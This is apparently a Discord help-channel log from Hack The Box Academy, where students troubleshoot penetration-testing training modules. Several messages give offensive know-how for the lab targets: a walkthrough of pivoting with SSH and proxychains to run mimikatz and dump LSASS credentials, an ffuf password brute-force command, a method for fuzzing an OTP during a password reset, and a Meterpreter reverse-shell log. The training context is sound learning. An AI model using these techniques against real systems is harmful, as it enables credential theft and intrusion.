modules

[weary crow]

I tried checking the schema at /graphql and I can only see two things that looks interesting SecretObject and UserObject

[sick stump]

if i remember what I did, well that host you want to extract the lsass can only connect to the ubuntu host (webAdmin) , so first you can set up a dynamic port forwarding using ssh, onto that host using the -D <port> switch and then set up your proxychains.conf, and after that now you can forward the traffic now to that isolated windows host.

From there you should have credentials from the user you got, and you can connect to it through an rdp session using xfreerdp on your attack box, since it would redirect that traffic to the ubuntu host which would then redirect that traffic to that isolated windows host

The magic comes now, your issue is how would i get the lsass file to my attack box? Why dont you just use the mimikatz.exe script on that windows host, and it would view all of that for you on there. Your issue is "How would i transfer that script into that host?" heres the magic from xfreerdp, you can use the /drive:<name-of-drive> <absolute-path-of-dir-to-share> and then just access that shared folder from that windows which should contain the script, extract onto the windows host, and its BBQ chicken from there

It is a bit of a work-around but really nice if you handle it

[fathom pendant]

@weary crow the module is above tier 0; please don't share things like that. also if you want to paste formatted code blocks you'll need to link your htb account to the discord following #welcome instructions. I haven't done that module so I can't exactly tell you what you are or aren't doing wrong

[weary crow]

Oh 😔 so sorry am that

[fathom pendant]

I suggest exploring what you've already discovered

[weary crow]

I have tried exploring it but it's all type: null

[fathom pendant]

are you exploring via the web gui or via curl?

[weary crow]

The both ways

[sullen tree]

HI, I recently posted about my shell giving up in the gettingstarted box after tried to move in /usr/bin/php, I got a hint that it is a php shell so that's why it doesn't react to any commands beside php, now I tried php commands even commands from gtfobins, but it's the same issue, no output from php commands.

[rain mirage]

@mwinyi29 dude I appreciate the help , in fact I figured that out and did the same thing and got the hash .. rn cracking it

[fathom pendant]

look for supported queries

@weary crow https://graphql.org/learn/introspection/ 😉 this will be invaluable (it's linked in the reading)

[weary crow]

Thanks very much 🙏🏼😀

[fathom pendant]

you're one step closer to the answer; but the query types may provide useful info for what to look for combined with what you've already found

[fathom pendant]

if it helps there's also the documentation explorer in the top-right of the web app

[weary crow]

Okay thanks a bunch 💯

[fathom pendant]

after that it's as simple as using the query [type] {parameters} (the [type] isn't in square brackets)

[mossy badger]

Hello Guys

[chrome hawk]

They should mention it in the Logrotate section of Linux Privilege Escalation that the race condition is extremely tight and can take dozens of tries for it to finally work.

[fathom pendant]

hey @weary crow don't dm without asking; as far as the issue goes it works on my machine, maybe try on another device

[weary crow]

okay but i have tried on other devices

[fathom pendant]

I suggest using the document explorer then in the top-right to get an idea of how to move forward

[weary crow]

okay i'll check it out

[silent basin]

Already done. Wasn’t helpful

[weary crow]

thanks 🙂

[pliant nest]

Ok

[cyan arch]

Yeah, I tried seclists wordlist and then manually using gpt as well, but it took a lot of guess work to finally get the color. hope the exam is not like this, not a big fan of guess work but at a point I was doubting if this was the path.

[oblique plume]

It is a content issue, not necessarily lab.

[brave field]

It won't execute due to a specific PHP function being used. Try to read source code of the pages and see what interesting information you can find.

[vestal sorrel]

Like

[obtuse bramble]

Hey

I need some help

[vestal sorrel]

What help if I may ask

If I could help

@obtuse bramble

[vestal sorrel]

@obtuse bramble

[obtuse bramble]

Can we talk in dm

[vestal sorrel]

I can't because I can't message u back

[obtuse bramble]

Why

[vestal sorrel]

Or I can use my second account to send u a dm if that fine

[vestal sorrel]

Just my policy

[obtuse bramble]

Ok

[vestal sorrel]

On this account

[obtuse bramble]

Bro can youu provide me free pentesting videos resources link beginner to advanced level because I am new in cyber

[fathom pendant]

don't dm them @obtuse bramble

they're one of those fake support scammers

[ivory mesa]

Yo

Can I get role for chatting in general

[fathom pendant]

anyway @obtuse bramble no one is really gonna do a lot of the legwork for you

[vestal sorrel]

Nobody talk about support team here

[fathom pendant]

it's in your bio dawg

[obtuse bramble]

Okk

[vestal sorrel]

Then is that a issues secondly I never said I was a support team

[obtuse bramble]

Sorry for that I can't know your rules

[fathom pendant]

they've been yeeted

[obtuse bramble]

Lund la lo bhosdi valoo

[fathom pendant]

but anyway @obtuse bramble the other reason that people can't give you those resources because "beginner cybersecurity" is extremely vague

and "beginner" pentester is subjective

also this isn't #general if you want to access more of the server you'll need to link your hackthebox account to the server following the instructions in #welcome ; also @ivory mesa @obtuse bramble

[worthy sorrel]

Bs bs shant bhai what do you want let me know

I’ll try to help but as a beginner i should know how much you already know on the basis of that i can suggest something

[obtuse bramble]

Bhai dm ma bat ker sektaa ha

[worthy sorrel]

Sure buddy

[grizzled schooner]

Does anyone have a second to maybe lend a hand in explaining part of sqlmap essentials a little better? I'm just a bit confused on how to use the --csrf-token flag, please @ with responses

[fathom pendant]

Keep it English #rules

[sick stump]

Nicee happy i could help

[fathom pendant]

If you have a csrf token, you supply it there

[obsidian slate]

Where is the best place to start study cybersecurity

[fathom pendant]

Believe it or not google [one sec]

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[grizzled schooner]

That's what I did, I captured the burp request, saved it and then tried... But it keeps doing

--csrf-token is a regular expression [y/N] N which is stopping it I think? It's saying it can't find a valid token... Not sure if I'm doing this wrong though

[obsidian slate]

Thank kyo very much is there any specific language for cybersecurity

[grizzled schooner]

Specific language meaning what? English? Sweedish? Kali Linux? C++?

[fathom pendant]

Nope

[fathom pendant]

Ah yeah, in the place of where the csrf token would be in the request, you replace it with a * and supply the csrf param via cmd line

[grizzled schooner]

i.e --csrf-token=*

[fathom pendant]

Its been a minute, but whatever the module is telling you is correct

Because this is dealing with using a request file yeah?

[grizzled schooner]

Yeah I'm just having trouble applying it, but no worries

[fathom pendant]

The * is in the request file, not in the commandline

[grizzled schooner]

Yeah it's the Bypassing Web Application Protections module - just don't want to post revealing content is all

Ah I may have to specify with --data let me try quick

Edit: that didn't work either lol

Edit again: Just super picky about phrasing, I'm good now

[unique field]

@fathom pendant can i get help on i need a suggestion on this -this is reg new-Web Fuzzing-Validating Findings. for given lab i tried this command -ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ
-u 'http://IP:PORT/recursive_fuzz/FUZZ'
-recursion -recursion-depth 3 -e .php -t 50 -rate 200 -mc 200,301,302,403
-o ffuf_recursive.json -of json -v . no idea if it is right

[fathom pendant]

Don't ask me questions if you haven't tried the the thing

If it doesnt work: then its likely not right. I haven't touched that module in ages

[unique field]

i tried and stuck up for few days can i share what iam in to or can i DM?

[fathom pendant]

Im not available for private help atm

#1234357888114364508

[unique field]

fine ,

[fathom pendant]

You should be able to use the wordlist mentioned by the reading

[spark lodge]

Hello everyone can someone help me with this Pass the Certificate
lession in Password attacks moudle , im stuck at the last question What are the contents of flag.txt on Administrator's desktop?

[formal oriole]

Did you ever figure this out?

[weary crow]

How can I figure out the injection attack on the attacking graphql module group concat

[weary crow]

Group concat is really not my strong suit

[placid edge]

Yeah you need to proxy the traffic

[weary crow]

I tried group concat( table name order by col name) from the mariadb page writeup

Can someone give some clues on how to view Fields with group concat

[rustic quiver]

Trying to complete the Writing custom wordlists and rules section in the password cracking module but i'm not getting any hits is there something im missing? I've done some research but couldnt find anything

[silent basin]

Attacking Windows Credentials…..Can someone help me understand how we get minkatz onto the target system???

[tiny frigate]

It's mentioned several times in "OSINT: Corporate Recon"; will there actually ever be a module "OSINT: Staff Investigation"?

[willow gyro]

Okay @silent basin

[edgy lance]

Hi all

Can anyone help me out

[tiny frigate]

depends entirely on your question

[glossy cloak]

having the same problem while trying to get on splunk interface for 5 days. tried changing servers (eu and us), redownloading vpn file over and over again. help please

[acoustic owl]

What do you need help with?

[edgy lance]

To expose a scammer

[edgy lance]

Can you check out dm

[acoustic owl]

Contact the local police department.

[tiny frigate]

and please don't send out friend requests to everyone on this server?

[edgy lance]

Okie sir

[tiny frigate]

I'm no sir

[edgy lance]

Ok boi

[tiny frigate]

https://tenor.com/view/éowyn-i-am-no-man-no-man-lord-of-the-rings-lotr-gif-11834502

[acoustic owl]

Please read the #rules

[edgy lance]

Sry

[tiny frigate]

this server is not to support your illegal activity, as per #rules

[acoustic owl]

As mentioned, contact the local police.

no

[edgy lance]

Its a python code

[tiny frigate]

get lost

[edgy lance]

Bruh

[modest breach]

hi

[glossy cloak]

hi

[weary crow]

Hey 👋🏼

Can I get some assistance on the attacking graphql module

[rustic sage]

• 1 Perform MIC cracking using the attached .cap file.

Can someone help me ?

[gilded radish]

guys, why companies post vacancies on HTB and list all certificates, but not HTB ones(CPTS, CWEE etc)?
https://app.hackthebox.com/careers/job/775

[keen oxide]

hello i am looking for a ctf team blueteam

[tiny frigate]

#1318239802931286066 is the place to look I believe

[keen oxide]

i didn't have access sorry

[weary crow]

Hello please can someone help with this little issue I am having

[tiny frigate]

have you read and completed #welcome ?

[tiny frigate]

what would that be about?

#modules message ?

maybe just ask your question here so several people could give it a shot

[weary crow]

How can I figure out the injection attack on the attacking graphql module group concat I tried group concat( table name order by col name) from the mariadb page writeup

[weary crow]

Yeah

[keen oxide]

it's okay now thanks

[bitter wing]

Hey would anyone be able to dm me a hint for the Password Attacks skill assessment? I'm having a hard time getting to the other internal IPs and I'd like to ask someone if I'm close and if not if they could nudge me in the right direction.

[keen oxide]

Please anyone could help me with this module?

https://academy.hackthebox.com/beta/module/214/section/2287

Introduction to Threat Hunting & Hunting With Elastic

The skills assessment section?

[bitter wing]

nm I actually ended up figuring it out lol

[tiny frigate]

Hope a mod sees this: isn't it weird how the three accounts above have such strange names, all joined both Discord and this server the same day, and post pseudo relevant comments that are just quotes from other users?

[late bough]

I was wondering if you still needed help for this, its a rather broken question/answer combo.

[cloud urchin]

yeah. and all women in the pfp's.

i'm sure they're bots

[fathom pendant]

2 of them directly parroted something I said previously Oh god am i being farmed for AI training data?????

[tiny frigate]

Similar accounts were popping up on the OffSec server I was told

[cloud urchin]

lol

[tiny frigate]

[fathom pendant]

https://tenor.com/view/robot-killed-you-have-to-do-it-yourself-do-it-yourself-kristen-bell-eleanor-shellstrop-gif-10580983

[long tulip]

Hello. Can anyone help me with some (pentest role paths) ?

[waxen totem]

https://dontasktoask.com

[lean pewter]

Hey I'm a bit stuck on the maintenance mode attacking graphQL assessment I am able to find the injectable parameter/query and even get sql errors + the right amount of columns however my queries seem to not reflect.

ah nvm HAHA FOUND THE ANSWER RIGHT AFTER

[proven obsidian]

hi guys , i'm stuck at Skills Assessment - SQL Injection Fundamentals in first step , can't login , tried every possible payload still can't get it ,even sqlmap can't 🥲

[candid lily]

anyone done "Applications of AI in InfoSec" skills assessment, i keep getting 0% accuracy

[echo pecan]

...

10.129.2.219

nah

[candid lily]

@vestal wing @upper haven

sorry for the ping but so many people had this same issue but no solution can be found

[storm elk]

dont overthink it @candid lily

[minor lantern]

im in cli fundamentals module for windows stuck on something can anybody help me?

search for the file named 'waldo.txt'. ?

i know the command i typed is right but the cmd is not returning anything, DM me so that i can explain

[eager spindle]

Hello everyone,sorry to bother you.
In this module:"Attacking Common Applications"
section :"Attacking Tomcat"
question:"Obtain remote code execution on the http://web01.inlanefreight.local:8180/ Tomcat instance. Find and submit the contents of tomcat_flag.txt"
I already got flag via used msfvenom achieve reverser tcp.
but there is a sentence in the text:The multi/http/tomcat_mgr_upload Metasploit module can be used to automate the process shown above, but we'll leave this as an exercise for the reader.
I tried it,but don't get result.

[fossil jacinth]

@eager spindle from Rapid7's explanation about this module:
NOTE: The compatible payload sets vary based on the selected target. For
example, you must select the Windows target to use native Windows payloads.

[eager spindle]

Does this mean that there is something wrong with the payload I'm using?

[fossil jacinth]

I noticed exploit target is "java universal" there in your pictures. Maybe it needs to be changed

[long tulip]

https://academy.hackthebox.com/module/23/section/513
Skills Assessment - File Inclusion

Skills Assessment - SQL Injection Fundamentals
https://academy.hackthebox.com/module/33/section/518

https://academy.hackthebox.com/module/147/section/1334
Credential Hunting in Network Shares

Anyone can help me on those?

[fossil jacinth]

Shoot

[reef sonnet]

anyone else having troubles spawning targets?

[edgy marlin]

hi everyone, i'm on module 'attacking common services - attacking smb'. based on nmap scan how can i say that the target os is linux? i don't get it.

[wide dove]

@olive fjord how did you glitch urself to number 1 global

[olive fjord]

SERIOUSLY? HACK THE BOX SERVER?

No comment

leave me alone and DO NOT ping me

[quiet halo]

I'm doing password attacks - pass the ticket from Linux. In this image, why is David cached Kerberos ticket the same file as Carlos? Shouldn't they be different?

[native turtle]

hi everyone, I need help with windows evasion sa2, I have a working script that if I manualy execute it gives me a rev shell without been blocked by av or amsi but some how it goes in timeout when the bot runs

[brave field]

Samba smbd 4.6.2 as a strong clue

[edgy marlin]

i think i need a break 🤦‍♂️🤦‍♂️ thank you

[quiet halo]

nvm, the file name is the same but the contents changed from David's tickets to Carlos's tickets . Now any Kerberos-authenticated operations using this ticket file will run as carlos

[brave field]

I think because you ran both kinit commands from the same user/session without specifying a different credential cache, the second kinit overwrote the default Kerberos ccache file so both principals show the same cache path.

[quiet halo]

yes exactly

[noble spire]

i need help

[gilded radish]

anybody can help?

[weary crow]

Please can someone help me out with the attacking API section broken authentication

[native moss]

Can anyone know my ip address(real ip) I used VPN

[wide dove]

ur getting banned lil bro

[acoustic owl]

Even if you use a VPN, your IP address can still be leaked.

However, this channel is about questions relating to the modules in the Academy.

Read and follow #welcome to gain access to better channels for questions about VPNs.

[weak patrol]

I have been working through the Windows file transfer module (Module 24), and as I was completing the second task, I kept getting an error message stating that my answer was incorrect. I have searched through many forums and also gone through walkthroughs on YouTube, and it turns out that the answer I get is the same as that of other people!
What could be the issue?

[brave field]

The zip file question?

[hidden ledge]

Hello do you have any little hint for the Password Attack Skill Assessment after compromising bdavid and stom credentials ? (Btw stom credentials doesnt work idk if it's normal)

[fossil jacinth]

I am not sure about not-working creds ... However, having some working creds, what else have you obtained ? Extra access or anything.
Have you enumerated anything ?

[hidden ledge]

Yup found multiple pcap file(Pcredz did not found anything and manual search either)

[fossil jacinth]

Ah ... I remember those.
Keep on enumerating

When you first gain access to some endpoint, what is your methodology for initial enumeration ? @hidden ledge

[hidden ledge]

Well since stom creds did not work, I began with hwilliam. I quickly found pcap files so I looked into it. Then I looked on my home and shares manually and with some tools (Manspider). But I was pretty sure that the pcap files were not useless since we saw it in the modules but I maybe spent to much time on it. (Or maybe not)

[fossil jacinth]

Okay, so from one user you got to another.
There you found something, searched it and haven't found anything or maybe missed something inside.
What next ?

[hidden ledge]

Keep looking on pcap because it's a big one and try to understand why stom creds fails for every services and machines. Maybe also enumerate shares again. (AH I also found a file with Administrator password in plaintext but did not work either)

[fossil jacinth]

So it's highly likely that those credentials you've found are not valid.
You have spent a lot of time on pcap.
What's next ?

[noble spire]

Hello guys i need help with questions in attack common application attack tomcat there is question say you should get rce to get the flag i did everything and get the rce but i couldnt find the directory of the flag

[hidden ledge]

My only idea for now is enumerating shares

[echo pecan]

hm

[fossil jacinth]

That's okay. Keep on enumerating.

[weary crow]

Hello please can I get some help on the attacking API section 4 don't the limit of the otp

[weary crow]

Hello 👋🏼

[fossil jacinth]

I haven't done that module.
Be patient, someone might be available.

[grizzled schooner]

Hey - anyone have a second to lend a hand for sqlmap essentials skill assessment? I've found the attack vector. Saved a request from burp, but everything from just --current-db to --dump -T <table name> is failing and I'm not sure why

[languid fjord]

Restricted to verified only

Follow guide in /verify

(Unlink and relink if you don’t have the role)

[silk lagoon]

dump will need dbs if not yet there

[grizzled schooner]

yeah can't get it to work, have dump and batch, have ran through different bypasses i.e. random agent but not working. Can't even get it to return a database name

[silk lagoon]

You have dbs in there?

[grizzled schooner]

yeah I have --||dbms=mysql||

[silk lagoon]

And you’re sure is mysql ignoring that you might have misspelled dbs?

[grizzled schooner]

yeah, the info it's returning in the output is mysql

[silk lagoon]

Ok drop the question in dms

[proper parrot]

FIXED: Added --skip-ssl

[weary crow]

Hello please can I get some help on the attacking API section 4 don't the limit of the otp

[jovial vine]

Anyone having problems starting targets?

[tiny frigate]

currently no issue on my end

[weary crow]

Can't anyone help me 😔

[tiny frigate]

Personally I don't even understand your question. "don't the limit of the otp"?

also, what's "section 4"?

you in "API Attacks"?

[weary crow]

I'm trying to get the otp

[tiny frigate]

Can you share a link to the section, the title, the exact question or something? I'm not feeling like browsing the entire module to find out what you're talking about

[weary crow]

I've used the suggested words list but I had no luck

[weary crow]

Alright

https://academy.hackthebox.com/module/268/section/3062

[reef sonnet]

anyone doign the Windows Attacks & Defense?
stuck at PKI - ESC1
i am copy, pasting the commands provided but still getting this error with certify
[X] KRB-ERROR (16) : KDC_ERR_PADATA_TYPE_NOSUPP

[weary crow]

It's broken authentication and in it I'm trying to rest the password of a customer but I don't know the right words list for guessing the otp

I tried using seq -w 0 9999 but I didn't get any output true just false

[tiny frigate]

hm

yeah looks like 4 digit otp, wordlist seems fine

not sure if it matters here, but make sure it's all actually 4 digits perhaps? even the ones below 1000, so 0023 etc

[weary crow]

Yeah it's exactly four digits

I checked it myself

So I should try it again

[tiny frigate]

yeah, maybe just expired?

[cunning fern]

Mark those as spoilers please

[jovial vine]

Hi!! Quick question, in the Skills Assessment of Password Attacks, am I supposed to know the Master Password for the Password Safe?

[fathom pendant]

The file you find can be cracked without modification in hashcat

[woven zenith]

Thank you... your eye is very good.

[weary crow]

i don't think it's even send an OTP

[weary crow]

cuz i have a screenshot of the server response

[errant moss]

Hello!
I could use a hand on

Active Directory Enumeration & Attacks
Attacking Domain Trusts - Child -> Parent Trusts - from Linux

I think I'm supposed to get the NT hash of user "bross" using "secretsdump" but I just cant get it to work. So clearly I'm misunderstanding something....

[weary crow]

an it says :

Server response
Code Details
Undocumented

TypeError: NetworkError when attempting to fetch resource.
Responses
Code Description Links

I'm wondering if it's how the response

the sever is not responding curl: (7) Failed to connect to 94.237.49.23 port 52205 after 192 ms: Could not connect to server

[heavy slate]

I have been stuck in this module for 3 days, if someone has time id like to discuss it, maybe he can point out my mistakes.

AI Data Attacks -> Pickles and Stenography

[proven bay]

Did you solve the task because I couldn't solve it?

[zenith token]

Can I dm someone regarding the Cracking Wireless (WPA/WPA2) Handshakes with Hashcat section from the Cracking Passwords with Hashcat module?

[weary crow]

No

[zenith token]

What a cruel world 🙁

haha

Anyone? I think there is a mistake in the module...

[weary crow]

The server's not responding or the request being sent are not connecting 😕

[dense willow]

Hello — I have a question about the module “Android Application Static Analysis — Reversing Hybrid Apps.”
I completed all the steps to obtain the debug keys and configured the curl command in every variation, but I always get a 401 Unauthorized / “Invalid credentials” response. I set everything up exactly as shown in the module. I also tested the POST request with Burp and installed the app on an emulator in Android Studio, but nothing works. It feels like I must have missed something — could someone please give me a hint? Or might there be a problem with the target machine? Thank you.

[topaz tundra]

Hi please I want to know if only happens to me but I noticed that there are some modules where when i use my VPN as usual I have difficulties performing the task if not able to perform at all but when I use the pwxn box I perform the task with the same command is it normal ?

[cloud urchin]

Do you ever have the pwnbox spawned at the same time as being on the vpn?

[topaz tundra]

yeah some times but i only spawn it up when I have some difficulties with vpn

[cloud urchin]

well it uses the same connection as the VPN so that'll cause connectivity issues

you want to use one or the other

as for the vpn connection, try another server or region see if it clears it up, if not there are some great tips here https://help.hackthebox.com/en/articles/9297532-connecting-to-academy-vpn

[topaz tundra]

A'ight thanks

[woven zenith]

Hi All, any other way to access the victim machine other than using evil-winrm if you have kerberos ticket?

[crimson moon]

how to share screenshot here?

[cloud urchin]

You need to be hacker rank or above in labs or have a certification, I believe

[fathom pendant]

if other authentication services are running, sure

[woven zenith]

can you please give an example than I can check?

[plain summit]

Is this error normal?

xfreerdp /v:targetIP /u:htb-student /p:Academy_student! /dynamic-resolution
[23:45:44:716] [119494:119495] [ERROR][com.freerdp.core.transport] - BIO_should_retry returned a system error 32: Broken pipe
[23:45:44:716] [119494:119495] [ERROR][com.freerdp.core] - transport_write:freerdp_set_last_error_ex ERRCONNECT_CONNECT_TRANSPORT_FAILED [0x0002000D]
[23:45:44:730] [119494:119495] [ERROR][com.freerdp.core.transport] - BIO_should_retry returned a system error 32: Broken pipe
[23:45:44:730] [119494:119495] [ERROR][com.freerdp.core] - transport_write:freerdp_set_last_error_ex ERRCONNECT_CONNECT_TRANSPORT_FAILED [0x0002000D]
[23:45:44:730] [119494:119495] [ERROR][com.freerdp.core] - freerdp_post_connect failed

I'm using ParrotOS Pwnbox.

[ocean night]

Try adjusting the MTU on the VPN configuration. This can help sometimes with RDP issues

https://help.hackthebox.com/en/articles/9297532-connecting-to-academy-vpn#h_ccf26ec237

Just above that section on the article are also recommendations for using xfreerdp 🙂

[crude wing]

Could anyone help with nosql skill assessment II?

[upper widget]

so i am working on the API Attacks model Broken Authentication Section
an im stuck at the Question

Exploit another Broken Authentication vulnerability to gain unauthorized access to the customer with the email '[e-mail]'. Retrieve their payment options data and submit the flag.

and this is the payload that im using

ffuf -w SecLists/Passwords/Common-Credentials/xato-net-10-million-passwords-10000.txt:PASS -u http://94.237.49.23:33237/api/v1/authentication/customers/sign-in -X POST -H 'Content-Type: application/json' -d '{"Email": "[e-mail]", "Password": "PASS"}' -t 100 -fr "Invalid Credentials"

but i cant find the right credentials
what i am doing wrong?

[weary crow]

Hello everyone, please can someone help me out on the target machine for the API attacks broken authentication I think the server not getting requests

[fathom pendant]

rdp; smb; ssh are all potentials

[weary crow]

This is exactly what I'm talking about

[zenith token]

Anybody out there? I would still have an open question

[upper widget]

i solved it

first use the /api/v1/authentication/customers/passwords/resets/email-otps to generate the code and then fuzz for it with a list from 0 to 9999
the password should change to the one you set

@weary crow

[weary crow]

yes i did

[weary crow]

really

[vale geyser]

Am i the only one experiences extreme slow responses from the machines in the "Web Attacks" Module

It takes ages for them to respond to anything

[weary crow]

reset the machine i experienced it to

[vale geyser]

already reset > 10 times

but imma try again

i have the feeling the website doesnt render, because the GET request to weloveiconfonts.com fails. I reset another 10 times and each of the machines has the same issue. When i proxy through burp and just drop these requests, then the website renders fine

[waxen totem]

Targets don't have access to the internet which is probably why they fail, carry on even if the site doesn't render properly

[vale geyser]

I mean i will, just wanted to mention...this is a huge pain in this module

[waxen totem]

/feedback or make a post in #1234357888114364508

[restive ermine]

im stunned on NoSQLi Skills Assestments || please someone help

[devout lily]

How can i stop the connections? I have already run sudo killall -9 openvpn

[weary crow]

Hello 👋🏼 please can I get some help on the mass assessment on the API module

I created and an order but don't know what to do next

[empty imp]

How are you all connecting to the RDP machines in the CAPE path labs? I cannot connect to most of them

For example, rn I'm in the ADCS section. I can't connect to either of them.

[crimson moon]

[!] https://10.10.14.181:8443 handling request from 10.129.43.13; (UUID: 6d8l7kje) Without a database connected that payload UUID tracking will not work!
[*] https://10.10.14.181:8443 handling request from 10.129.43.13; (UUID: 6d8l7kje) Staging x64 payload (204892 bytes) ...
[!] https://10.10.14.181:8443 handling request from 10.129.43.13; (UUID: 6d8l7kje) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 1 opened (10.10.14.181:8443 -> 10.129.43.13:49679) at 2025-10-18 07:29:47 -0500

(Meterpreter 1)(C:\Windows\system32) > getuid
[-] Send timed out. Timeout currently 15 seconds, you can configure this with sessions --interact <id> --timeout <value>
(Meterpreter 1)(C:\Windows\system32) > 
'```


How can i solve this problem of meterpreter session timing out? I tried changing to 60s but to no avail as well. Any inputs will be appreciate.d

[rustic sage]

For windows fundamentals how do I do them without the pwn box?
With the Remote Desktop Protocol?

[waxen totem]

Yeah you can, you just have to use the vpn

https://help.hackthebox.com/en/articles/9297532-connecting-to-academy-vpn

[rustic sage]

Ty man

[terse bloom]

Web Attacks Module --> HTTP Verb Tampering. Cannot view allowed methods with curl -i -X OPTIONS http://SERVER_IP:PORT/ I get the response: HTTP/1.1 200 OK
Date: Sat, 18 Oct 2025 13:01:13 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 0
Content-Type: text/html; charset=UTF-8
No Allowed:...

[fathom pendant]

this is intentional, you can feel free to drop /feedback or #1234357888114364508 but the target is behaving as it usually does. This isn't a 'problem' with the lab, it's just designed this way

[rustic sage]

#prolabs-dante

[acoustic owl]

Once you have started the target, wait a few minutes before connecting to it.

[potent lance]

What was this fix? I'm having the same problem

[zenith token]

Hello there. Just me again, was just curious if anybody would have some inputs regarding my question from yesterday

[tired atlas]

I reset it enough times that it detected my frustration

[potent lance]

Hahahaha. Ok I'll keep trying

[potent lance]

I keep getting an error about privileges for the sniffer. Do you remember if that was happening to you?

[fathom pendant]

you might need to use a tool like cap2hashcat to get it to be usable by hashcat

[terse bloom]

Ah, okay, I just thought it's weird that the command to check for HTTP verbs is in that section and in the end we have to do it manually

[fathom pendant]

this is a general thing for all modules; not EVERYTHING you see will be replicable, and you may need to think outside the box or do some research around it. In this case you already knew about the different verbs (from the content) but it's good to know that not EVERY server is set up to give you options

[tired atlas]

Can you dm

[zenith token]

This I have done. To briefly sum it up. I wanted to solve the first Challenge which is to crack the MIC. As described in the module there are two possibilities to get the hash from the packet capture.
1: cap2hashcat online Module
2: hashcat-utils

I used both tools and received a file with two hashes (if allowed I can post it here, or give a screenshot, but not sure regarding policies).

This hash I tried to crack using the corresponding module hashcat -a 0 -m 22000 myhashes.hccapx /blabla/rockyou.txt. But hashcat is never able to actually read the hashes...

So at this point I can't see my mistake and rather assume, that something is off with the pcap.
(btw, same result for the offline version with hashcat-utils -> Furthermore when using this tool I get the message, that this tool is deprecated and is fully removed anyways by the hcxtools)

[fathom pendant]

to verify the issue isn't on your end, i suggest attempting this with the in-browser pwnbox

[zenith token]

Sure, give me 5 min to try it out

[zenith token]

Alright.... I was able to solve it on the machine. Seems that this is working fine with hashcat version v6.2.6 but its not working when using hashcat version v7.1.2. Thanks for the hint

[fathom pendant]

if you're curious why i suggested the pwnbox test => it's because there was a segfault error, which GENERALLY isn't an error produced by you doing something wrong with hashcat, or the format of the file provided

[zenith token]

Aaaaah thank you very much for the elaboration 🙏

[plain summit]

It did not work

If anyone could help with this Pwnbox ParrotOS issue that would be great:

[09:20:40:537] [11249:11250] [ERROR][com.freerdp.core.transport] - BIO_should_retry returned a system error 32: Broken pipe
[09:20:40:537] [11249:11250] [ERROR][com.freerdp.core] - transport_write:freerdp_set_last_error_ex ERRCONNECT_CONNECT_TRANSPORT_FAILED [0x0002000D]
[09:20:40:549] [11249:11250] [ERROR][com.freerdp.core.transport] - BIO_should_retry returned a system error 32: Broken pipe
[09:20:40:549] [11249:11250] [ERROR][com.freerdp.core] - transport_write:freerdp_set_last_error_ex ERRCONNECT_CONNECT_TRANSPORT_FAILED [0x0002000D]
[09:20:40:549] [11249:11250] [ERROR][com.freerdp.core] - freerdp_post_connect failed

I'm using a fresh spawn of Pwnbox ParrotOS

[gilded gale]

I'm at the Windows Fundamental Module.
Trying to create a share as instructed in the module but getting timeout error whenever trying to connect with smbclient

I tried checking on windows if the server is really started using Get-Service -Name LanmanServer (ChatGPT)
And yes it is running

But still I get the timeout error, and I also tried Set-NetFirewallRule -DisplayGroup "File and Printer Sharing" -Enabled True but don't have permission to do so.

Anyone went through similar problem?

[fathom pendant]

run powershell as admin

[plain summit]

Stack-Based Buffer Overflows on Windows x86 Skills Assessment

This might be broken. The other labs in the module work perfectly fine as is.

[weary crow]

Please can anyone help me 🙏🏼

[cloud urchin]

Best to always say which module/section/question you're on, how can anyone help if they don't know

[dense willow]

Hello — I have a question about the module “Android Application Static Analysis — Reversing Hybrid Apps.”
I completed all the steps to obtain the debug keys and configured the curl command in every variation, but I always get a 401 Unauthorized / “Invalid credentials” response. I set everything up exactly as shown in the module. I also tested the POST request with Burp and installed the app on an emulator in Android Studio, but nothing works. It feels like I must have missed something — could someone please give me a hint? Or might there be a problem with the target machine? Thank you.

[weary crow]

https://academy.hackthebox.com/module/268/section/3063

[weary crow]

i'm having issues with the 2nd question

[main berry]

Hey everyone I have a small doubt
When the subscription ends I'm i able to access the completed model and labs

[cloud urchin]

Yes, any module you complete will be unlocked for you forever

[main berry]

What about the labs in the module

[cloud urchin]

yes

[main berry]

Great thank you 👍

[plain summit]

Stack-Based Buffer Overflows on Windows x86 Skills Assessment

This might be broken. The other labs in the module work perfectly fine as is.

[prisma sable]

Hello all!

I'm working the API Attacks module, Section 3/13, Broken Object Level Authorization. https://academy.hackthebox.com/beta/module/268/section/3061.
I can confirm that I'm connected to the box, and the the box is up. I'm not seeing the site. I'm seeing a different previous conversation from @weary crow and others about this module.

Please roast me if I'm missing something, or let me know if there is an issue at the moment.

[weary crow]

I'm in 5/13 section I'm just looking for more help on it

[humble hemlock]

Hey, regarding (Active Directory Enum & Attack) module.
I am on the skill assessment II and noticed PowerView is not loading, I mean I transfer it with certutil and import it, but no functions work as if they don't exist.

Tried deleting and starting over but no luck. Is this by design or am I doing something wrong here ?

[prisma sable]

Gotcha

[weary crow]

Can I get some assistance on this section

[fathom pendant]

mess with orders

[humble hemlock]

Alright, FYI it's evil-winrm causing the problem

[prisma sable]

I've moved onto a different one for now. I think you are also further than I was 🙂

[humble hemlock]

Nvm me, please continue 😂

[fathom pendant]

winrm itself is a problem (it's just a pain in the ass protocol)

it's like just above telnet but way below ssh

[weary crow]

So I should like, put random dates on the post order endpoint

[fathom pendant]

maybe not dates

but mess with everything you can regarding that

[weary crow]

Okay try and get back to you on it

[humble hemlock]

Matter of fact even with Meterpreter I can't run PowerView

I can't, how am I going to abuse ACL now ? T_T

Pffff..... I've been here all day lol

[sinful tundra]

I can't use the pwnbox on academy it says I have one open when I don't how do I download the VPN so I can use my Kali system for the module

[ocean night]

You can do so via https://academy.hackthebox.com/vpn (top right menu, where your username is, VPN Settings)

If you have a Pwnbox that's stuck or something, support can help with that

[compact patrol]

https://help.hackthebox.com/en/articles/5987511-contacting-academy-support

[humble hemlock]

Me no help ?

[ocean night]

If I knew how to help, I would

I don't know everything

[sinful tundra]

Thank you

[ocean night]

If you're having an issue @humble hemlock, I'd recommend describing what you are facing in more detail, rather than just "I can't run PowerView". Any errors? Is this on a personal VM or Pwnbox? What are you trying?

That'll help others help you

[humble hemlock]

Oh we can go in A Lot of details trust me, just kept breef to see who's interested first 😂

[ocean night]

